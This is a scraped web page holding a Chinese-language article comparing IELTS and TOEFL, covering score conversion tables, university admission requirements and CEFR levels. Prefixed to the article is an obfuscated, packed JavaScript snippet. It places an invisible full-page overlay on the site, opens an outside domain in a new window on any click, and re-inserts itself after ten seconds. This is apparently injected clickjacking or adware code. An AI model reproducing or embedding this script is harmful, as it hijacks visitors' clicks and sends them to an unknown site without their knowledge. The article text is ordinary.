<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>作为出国留学必备的语言考试,雅思跟托福似乎总是让考生难以抉择。但从大数据看,雅思跟托福相比,选择雅思考试的学生与快速增长的出国留学人数成正比例关系,也在不断增长,那么,为什么会有越来越多的学生选择雅思考试呢?还得从托福和雅思成绩对照表说起。
目前最广为流传的一套换算方法来自于ETS发布的研究报告《Linking TOEFL iBT Scores to IETS Scores: A ResearchPaper》报告显示托福成绩离散程度大于雅思。人话解释其实是说托福的考生比雅思考生的成绩更不稳定,有更大的成绩浮动。当然这与两个考试不同的计分方式有关,托福成绩总分120,而雅思成绩总分是9, 这就意味着一个IELTS分数正常都会对应多个TOEFL分数。
根据这把尺的数据来看,雅思6.5分对应托福79-93分区间。雅思7分对应托福94-102分值区间。这两个分数段实际上也确实是大多数院校招生时的英语成绩要求。然而,在申请院校的时候,并不一定都是这样对应,而美国研究生入学要求一般最低雅思6.5 分, 托福在80-90徘徊,那么对于79分同学只能一声叹息。而当去查看各个院校具体专业的分数要求时,又是另一个故事。比如,TOP100美国院校排名第29位的 密歇根大学安娜堡分校 音乐学院托福要求都在92分,而雅思只要求6.0分, 公共健康学院雅思要求6.5,托福竟然要求100分,这是赤裸裸的不对等。再比如,排名第54位的杜兰大学雅思要求6.5分,但托福居然要达到100分。 而且申请这个大学的中国学生大多数都在105左右,竞争的压力山大啊。还有一些奇葩院校只接受雅思成绩,如麻省理工大学的比较媒介研究、计算和优化设计、材料科学与工程、媒体艺术与科学等。同样的,你也会发现,一些像东北大学这样的院校,法学院的雅思成绩要求7.5分,而托福成绩却只有100分。
除了ETS自己发布的这份换算表外,其实考生更应当了解另外一个更通用的语言能力量表:CEFR(欧洲共同语言参考标准)它是通用全球的用来描述语言能力的国际标准。高标准的国际语言测评如雅思、托福分数均可以与CEFR等级相对应,涉及到了英语语言听说读写的考察,对于英语语言的实际应用能力的评判方式也是具有客观性的。以CEFR等级来看,留学申请中大多数院校对于语言成绩要求在B2-C1,通常排名越高的学校要求越高。
其实,成绩只是敲门砖,而准备语言考试的过程可以让自己在非母语的语言上有成长,真正的熟练操练它,才能在留学,移民的道路上更好的走下去。考生公认认为托福更加学术化,托福的听力阅读往往较为晦涩,需要大量生僻的专业词汇,口语部分为人机对话。而雅思考试内容更贴近现实生活,口语部分是与真人考官面对面交流。备考雅思更适合今后在实际生活场景中自如运用英语。雅思第一次裸考6分都是常事,可就托福的难度,第一次考60也是常有,提分的慢慢长路,托福考到100分之后的分数都是人品问题,可雅思要突破8分也真的不简单。高分段都是要经过很多努力和一些运气成分。
很多时候,选择要比努力重要。究竟是托福还是雅思,摸清楚院校的要求喜好固然重要,更应该做的是选择适合自己的考试。 |